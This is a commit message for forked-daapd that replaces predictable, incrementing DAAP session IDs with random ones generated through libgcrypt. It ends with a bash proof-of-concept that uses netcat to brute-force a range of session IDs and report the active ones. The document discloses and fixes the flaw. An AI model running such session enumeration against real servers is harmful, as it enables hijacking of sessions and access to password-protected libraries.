Use nonces for DAAP session IDs.

[thsnr]

Currently DAAP sessions IDs are generated in a predictable manner, i.e. starting from 100 and incrementing from there. This can be easily exploited to hijack sessions and gain access to password protected libraries.

Since forked-daapd depends on libgcrypt anyway, I used it to generate unpredicatable random DAAP session IDs. Since we have to check for (admittedly unlikely) collisions, generating a new ID now takes O(log n) instead of O(1), where n is the number of open sessions, but this shouldn't be a problem as n usually isn't very large.

Proof of concept sniffer for predictable DAAP session IDs:

#!/bin/bash

ADDRESS=localhost
PORT=3689
URL=/databases

if [ "$#" != "2" ]; then
        echo "$0 <start> <end>"
        exit 1
fi

START="$1"
END="$2"
for (( id=$START; id<=$END; id++ )); do
        query="GET $URL?session-id=$id HTTP/1.1\r\n\r\n"
        head=`echo -e $query | netcat -q 1 $ADDRESS $PORT | head -n 1`
        code=`echo $head | awk '{print $2}'`
        if [ "$code" == "200" ]; then
                echo "Found active session-id: $id"
        fi
done